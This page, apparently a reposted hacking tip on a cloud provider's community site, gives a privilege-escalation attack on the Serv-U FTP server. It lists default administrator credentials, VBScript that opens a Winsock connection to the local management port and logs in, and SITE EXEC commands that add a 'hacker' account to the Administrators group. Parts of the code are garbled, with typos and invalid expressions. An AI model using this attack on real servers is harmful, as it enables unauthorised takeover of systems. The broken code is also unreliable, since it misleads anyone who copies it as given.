Serv-u applicable environment: The server disables the FSO, turns off the wscript.shelll, does not have the execution authority.
Restrictions: No change to the administrator's password or the password of the Serv-u administrator. Serv-u Default User name: Localadministrator password: #|@ $ak #.| K;0@p below with Mswinsock. Winsock establishes a connection and adds Superuser with system privileges, the code is as follows:
Dim Revdata
Dim Sendata
Set sock=createobject ("Mswinsock.winsock")
Sock.protocol=0
Sock.connect "127.0.0.1", 43958
Sendata= "Localadministrator" & Chr (+) &CHR (13)
Sock.senddata Snedata
Sendata= "#|@ $ak #.| K;0@p "&CHR (+) &CHR (13)
Sock.senddata.sendata
Use this code can be connected to FTP, and then use Sock.senddata Sendata sent to add a command to execute permissions, presumably we should know how to do it, right, is to use the "site exec net user hacker Hacker/add" " Site EXEC net localgroup Administrators Hacker/add "
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.